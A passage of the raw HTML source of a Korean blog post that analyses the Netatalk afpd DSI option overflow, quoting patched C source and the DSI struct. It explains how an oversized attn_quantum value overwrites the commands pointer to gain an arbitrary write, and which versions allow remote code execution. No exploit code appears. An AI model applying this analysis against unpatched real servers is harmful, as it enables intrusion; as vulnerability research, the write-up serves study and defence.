#569cd6;&quot;&gt;EXITERR_CLNT&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;memcpy&lt;/span&gt;(&amp;amp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;attn_quantum&lt;/span&gt;,&amp;nbsp;&amp;amp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;],&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;option_len&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;attn_quantum&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;ntohl&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;attn_quantum&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;case&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;DSIOPT_SERVQUANT&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;just&amp;nbsp;ignore&amp;nbsp;these&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;default&lt;/span&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;break&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;+=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;option_len&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;libatalk/dsi/dsi_opensess.c&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패치된 코드에서는 &lt;code&gt;cmd&lt;/code&gt;와 &lt;code&gt;option_len&lt;/code&gt; 이라는 변수를 새로 도입했다. 각각이 &lt;i&gt;Fig. 1&lt;/i&gt; 의 Option Type과 Option Length를 나타낸다. &lt;code&gt;option_len&lt;/code&gt; 을 사용한 두 가지 검사 로직이 추가되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1.&lt;/b&gt; 현재 포인터 위치에 &lt;code&gt;option_len&lt;/code&gt; 을 더한 값이 DSI의 전체 데이터 크기를 넘지 않아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2.&lt;/b&gt; 옵션이 &lt;code&gt;DSIOPT_ATTNQUANT&lt;/code&gt; 일 경우, &lt;code&gt;option_len&lt;/code&gt; 의 값은 항상 4로 고정되어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;58&lt;br /&gt;59&lt;br /&gt;60&lt;br /&gt;61&lt;br /&gt;62&lt;br /&gt;63&lt;br /&gt;64&lt;br /&gt;65&lt;br /&gt;66&lt;br /&gt;67&lt;br /&gt;68&lt;br /&gt;69&lt;br /&gt;70&lt;br /&gt;71&lt;br /&gt;72&lt;br /&gt;73&lt;br /&gt;74&lt;br /&gt;75&lt;br /&gt;76&lt;br /&gt;77&lt;br /&gt;78&lt;br /&gt;79&lt;br /&gt;80&lt;br /&gt;81&lt;br /&gt;82&lt;br /&gt;83&lt;br /&gt;84&lt;br /&gt;85&lt;br /&gt;86&lt;br /&gt;87&lt;br /&gt;88&lt;br /&gt;89&lt;br /&gt;90&lt;br /&gt;91&lt;br /&gt;92&lt;br /&gt;93&lt;br /&gt;94&lt;br /&gt;95&lt;br /&gt;96&lt;br /&gt;97&lt;br /&gt;98&lt;br /&gt;99&lt;br /&gt;100&lt;br /&gt;101&lt;br /&gt;102&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;child&amp;nbsp;and&amp;nbsp;parent&amp;nbsp;processes&amp;nbsp;might&amp;nbsp;interpret&amp;nbsp;a&amp;nbsp;couple&amp;nbsp;of&amp;nbsp;these&lt;br /&gt;&amp;nbsp;*&amp;nbsp;differently.&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;typedef&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;DSI&lt;/span&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;DSI&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;next&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;multiple&amp;nbsp;listening&amp;nbsp;addresses&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;AFPObj&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;AFPobj&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;statuslen&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;status&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1400&lt;/span&gt;];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;signature&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;dsi_block&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;header&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;sockaddr_storage&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;server&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;client&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;itimerval&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;timer&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;tickle&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;tickle&amp;nbsp;count&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;in_write&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;in&amp;nbsp;the&amp;nbsp;middle&amp;nbsp;of&amp;nbsp;writing&amp;nbsp;multiple&amp;nbsp;packets,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;signal&amp;nbsp;handlers&amp;nbsp;cant&amp;nbsp;write&amp;nbsp;to&amp;nbsp;the&amp;nbsp;socket&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;msg_request&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;pending&amp;nbsp;message&amp;nbsp;to&amp;nbsp;the&amp;nbsp;client&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;down_request&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;pending&amp;nbsp;SIGUSR1&amp;nbsp;down&amp;nbsp;in&amp;nbsp;5&amp;nbsp;mn&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint32_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;attn_quantum&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;datasize&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;server_quantum&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint16_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;serverID&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;clientID&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint8_t&lt;/span&gt;&amp;nbsp;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;DSI&amp;nbsp;recieve&amp;nbsp;buffer&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint8_t&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;data&lt;/span&gt;[&lt;span style=&quot;color: #569cd6;&quot;&gt;DSI_DATASIZ&lt;/span&gt;];&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;DSI&amp;nbsp;reply&amp;nbsp;buffer&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;size_t&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;datalen&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cmdlen&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;off_t&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;read_count&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;write_count&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint32_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;flags&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;DSI&amp;nbsp;flags&amp;nbsp;like&amp;nbsp;DSI_SLEEPING,&amp;nbsp;DSI_DISCONNECTED&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;socket&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;AFP&amp;nbsp;session&amp;nbsp;socket&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;serversock&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;listening&amp;nbsp;socket&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;DSI&amp;nbsp;readahead&amp;nbsp;buffer&amp;nbsp;used&amp;nbsp;for&amp;nbsp;buffered&amp;nbsp;reads&amp;nbsp;in&amp;nbsp;dsi_peek&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;size_t&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsireadbuf&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;size&amp;nbsp;of&amp;nbsp;the&amp;nbsp;DSI&amp;nbsp;readahead&amp;nbsp;buffer&amp;nbsp;used&amp;nbsp;in&amp;nbsp;dsi_peek()&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buffer&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;buffer&amp;nbsp;start&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;start&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;current&amp;nbsp;buffer&amp;nbsp;head&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;eof&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;end&amp;nbsp;of&amp;nbsp;currently&amp;nbsp;used&amp;nbsp;buffer&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;end&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#ifdef&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;USE_ZEROCONF&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #828282;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #3d6483;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*bonjourname;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;server&amp;nbsp;name&amp;nbsp;as&amp;nbsp;UTF8&amp;nbsp;maxlen&amp;nbsp;MAXINSTANCENAMELEN&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #3d6483;&quot;&gt;int&lt;/span&gt;&amp;nbsp;zeroconf_registered;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#endif&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;protocol&amp;nbsp;specific&amp;nbsp;open/close,&amp;nbsp;send/receive&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;send/receive&amp;nbsp;fill&amp;nbsp;in&amp;nbsp;the&amp;nbsp;header&amp;nbsp;and&amp;nbsp;use&amp;nbsp;dsi-&amp;gt;commands.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;write/read&amp;nbsp;just&amp;nbsp;write/read&amp;nbsp;data&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;pid_t&lt;/span&gt;&amp;nbsp;&amp;nbsp;(*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;proto_open&lt;/span&gt;)(&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;DSI&lt;/span&gt;&amp;nbsp;*);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;(*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;proto_close&lt;/span&gt;)(&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;DSI&lt;/span&gt;&amp;nbsp;*);&lt;br /&gt;}&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;DSI&lt;/span&gt;;&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;include/atalk/dsi.h&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위는 DSI 구조체이다. 앞에서 확인했던 바에 따르면, &lt;code&gt;attn_quantum&lt;/code&gt; 필드의 위치에 최대 0xFF 크기의 데이터를 쓸 수 있다. 그런데 &lt;code&gt;attn_quantum&lt;/code&gt; 의 타입은 &lt;code&gt;uint32_t&lt;/code&gt; 로, 실제로 4바이트가 넘는 크기의 값을 쓰면 뒷 부분의 필드의 값을 임의로 바꿀 수 있다. (&lt;code&gt;datasize&lt;/code&gt;, &lt;code&gt;server_quantum&lt;/code&gt;, &lt;code&gt;serverID&lt;/code&gt;, &lt;code&gt;clientID&lt;/code&gt;, &lt;code&gt;commands&lt;/code&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;commands&lt;/code&gt; 포인터를 조작하면 임의의 주소에 값을 쓸 수 있게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한편, 취약점이 발생하는 버전은 1.4.99 - 3.1.11 이지만 3.x 이외 버전에서는 full RCE exploit이 불가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 2.x와 3.x의 DSI 구조체가 다르기 때문이다. afpd 2.2.3 에서 DSI 구조체는 다음과 같이 정의되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;58&lt;br /&gt;59&lt;br /&gt;60&lt;br /&gt;61&lt;br /&gt;62&lt;br /&gt;63&lt;br /&gt;64&lt;br /&gt;65&lt;br /&gt;66&lt;br /&gt;67&lt;br /&gt;68&lt;br /&gt;69&lt;br /&gt;70&lt;br /&gt;71&lt;br /&gt;72&lt;br /&gt;73&lt;br /&gt;74&lt;br /&gt;75&lt;br /&gt;76&lt;br /&gt;77&lt;br /&gt;78&lt;br /&gt;79&lt;br /&gt;80&lt;br /&gt;81&lt;br /&gt;82&lt;br /&gt;83&lt;br /&gt;84&lt;br /&gt;85&lt;br /&gt;86&lt;br /&gt;87&lt;br /&gt;88&lt;br /&gt;89&lt;br /&gt;90&lt;br /&gt;91&lt;br /&gt;92&lt;br /&gt;93&lt;br /&gt;94&lt;br /&gt;95&lt;br /&gt;96&lt;br 